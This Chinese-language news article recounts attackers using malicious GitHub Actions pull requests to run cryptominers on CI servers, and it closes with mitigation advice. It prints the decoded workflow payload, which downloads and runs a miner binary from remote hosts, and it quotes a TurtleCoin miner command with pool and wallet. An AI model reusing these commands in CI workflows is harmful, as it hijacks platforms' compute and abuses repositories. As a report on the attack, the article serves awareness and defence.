而且整個過程可能比侵入PC還容易,甚至都不需要程序員上當受騙。隻需提交Pull Request(PR),即使項目管理者沒有批準,惡意挖礦代碼依然能夠執行。
原理也很簡單,利用GitHub Action的自動執行工作流功能,輕松將挖礦程序運行在GitHub的服務器上。
早在去年11月,就已經有人發現黑客這種行為。更可怕的是,半年過去瞭,這種現象依然沒得到有效制止。
GitHub心裡苦啊,雖然可以封禁違規賬號,但黑客們玩起瞭“遊擊戰術”,不斷更換馬甲號逃避“追捕”,讓官方疲於奔命。
就在幾天前,一位荷蘭的程序員還發現,這種攻擊方式依然存在,甚至代碼裡還出現瞭中文。
那麼,這些黑客是如何植入挖礦程序的呢?一切要從發現異常的法國程序員Tib說起。
PR異常讓程序員起疑心
去年11月,Tib發現,自己在一個沒有參加的repo上收到瞭PR請求。而且在14個小時內就收到瞭7個,全是來自一個“y4ndexhater1”的用戶,沒有任何描述內容。
令人感到奇怪的是,這並不是一個熱門項目,Star數量為0。
打開項目主頁發現,內容是Perl項目的github action、circle ci、travis-ci示例代碼集合,整個README文檔一團糟,根本不像一個正經的開源項目。
然而就是這個混亂又冷門的repo,居然在3天裡被fork瞭2次。
一切都太不正常瞭,讓人嗅到瞭一絲不安的氣息。
嘗試“作死”運行
本著“作死”的精神,Tib決定一探究竟。
經過那位可疑用戶的操作,Tib所有的action都被刪除,在工作流裡被加入瞭一個ci.yml文件,內容如下:
當Tib看到eval “$(echo “YXB0IHVwZGF0ZSAt這一行內容後,立刻從沙發上跳瞭起來,他意識到事情的嚴重性:有人在入侵他的GitHub個人資料!
這串看似神秘的字符,其實是base64編碼,經過翻譯後,得到瞭另一段代碼:
apt update -qq
apt install -y curl git jq
curl -Lfo prog https://github.com/bhriscarnatt/first-repo/releases/download/a/prog || curl -Lfo prog https://transfer.sh/OSPjK/prog
ip=$(curl -s -H 'accept: application/dns-json' 'https://dns.google/resolve?name=poolio.magratmail.xyz&type=A' | jq -r '.Answer[0].data')
chmod u+x prog
timeout 4h ./prog -o "${ip}:3000" -u ChrisBarnatt -p ExplainingComputers --cpu-priority 5 > /dev/null
前面兩行不必解釋,有意思的地方從第三行開始,它會下載一個prog二進制文件。
為瞭安全起見,Tib先嘗試獲取信息而不是執行,得到瞭它的十六進制代碼。
$ objdump -s --section .comment prog
prog: file format elf64-x86-64
Contents of section .comment:
0000 4743433a 2028416c 70696e65 2031302e GCC: (Alpine 10.
0010 322e315f 70726531 29203130 2e322e31 2.1_pre1) 10.2.1
0020 20323032 30313230 3300 20201203.
Tib也考慮過反編譯,但是沒有成功。
不入虎穴,焉得虎子,Tib決定嘗試運行一下。
要執行這一大膽而又作死的任務,防止“試試就逝世”,Tib首先斷開瞭電腦的網絡鏈接,並選擇在Docker容器中運行。
答案終於揭曉,原來這個prog是一個名為XMRig的挖礦程序。
$ ./prog --version
XMRig 6.8.1
built on Feb 3 2021 with GCC 10.2.1
features: 64-bit AES
libuv/1.40.0
OpenSSL/1.1.1i
hwloc/2.4.0
當時XMRig的最新版恰好是6.8.1,和上面的版本參數符合。不過用SHA256檢測後發現,這個prog並不完全是XMRig,Tib預測它可能是一個修改版。
實際上,可能被攻擊的不止GitHub,安全公司Aqua推測,像Docker Hub、Travis CI、Circle CI這些SaaS軟件開發環境,都可能遭受這類攻擊。
在這個攻擊過程中,會派生一個合法的repo,負責將惡意的GitHub Action添加到原始代碼。然後,黑客再向原始repo提交一個PR,將代碼合並回原始repo。
下載的挖礦程序會偽裝成prog或者gcc編譯器,通過提交PR在項目執行自動化工作流。此時服務器將運行偽裝後的挖礦程序。
這些攻擊者僅一次攻擊就可以運行多達100個挖礦程序,從而給GitHub的服務器帶來瞭巨大的計算量。
據Aqua估計,僅在三天的時間裡,挖礦黑客就在GitHub上有超過2.33萬次commit、在Docker Hub上5.8萬次build,轉化瞭大約3萬個挖礦任務。
可以防范但很難根除
這種攻擊甚至不需要被攻擊的倉庫管理者接受惡意Pull Request。
隻要在.github/workflows目錄裡面的任意.yml文件中配置瞭在收到Pull Request時執行,來自黑客的Action就會自動被執行。
如果你沒有使用這個功能,那就不用擔心啦,黑客大概也不會找上你。
需要用到這個功能的話,可以設置成隻允許本地Action或隻允許Github官方及特定作者創建的Action。
將情況反饋給客服後,GitHub會對惡意賬號進行封號和關閉相關Pull Request的操作。
但惡意攻擊很難被根除,黑客隻需要註冊新的賬號就可以繼續白嫖服務器資源。
攻擊還在繼續
我們從最近一次攻擊中發現,黑客將挖礦程序上傳到GitLab並偽裝成包管理工具npm。
打開這個可疑的nani.bat,可以看到:
npm.exe --algorithm argon2id_chukwa2
--pool turtlecoin.herominers.com:10380
--wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP
--password xo
這一次黑客挖的是烏龜幣*(TurtleCoin)*,可使用CPU計算。按當前價格挖出四千多個幣才值1美元。
Github Actions的免費服務器可以提供英特爾E5 2673v4的兩個核心,7GB內存。
大致估算單臺運行一天隻能獲利幾美分,而且黑客的挖礦程序通常隻能在被發現之前運行幾個小時。比如Docker Hub就把自動build的運行時間限制在2個小時。
不過蚊子再小也是肉,黑客通過尋找更多接受公開Action的倉庫以及反復打開關閉Pull Request就能執行更多的挖礦程序。
△同一黑客賬號至少攻擊瞭95個GitHub倉庫
正如Twitter用戶Dave Walker所說的,如果你提供免費的計算資源,就要做好會被攻擊和濫用的覺悟。挖礦有利可圖的情況下這是不可避免的。
據報道,受害的不止GitHub,還有Docker Hub、Travis CI以及Circle CI等提供類似服務的持續集成平臺。
這一亂象不知何時才能結束,唯一的好消息可能就是,挖礦的黑客似乎隻是針對GitHub提供的服務器資源,而不會破壞你的代碼。
但是GitHub Action的漏洞不止這一個。還有方法能使黑客讀寫開發者的倉庫,甚至可以讀取加密的機密文件。
去年7月,Google Project Zero團隊就已向GitHub通報漏洞。但在給出的90天修復期限+延長14天後,GitHub仍未能有效解決。
對此,我們的建議是,不要輕易相信GitHub市場裡的Action作者,不要交出你的密匙。
相關文章:
GitHub正調查有害行為者濫用其服務器基礎設施進行加密采礦活動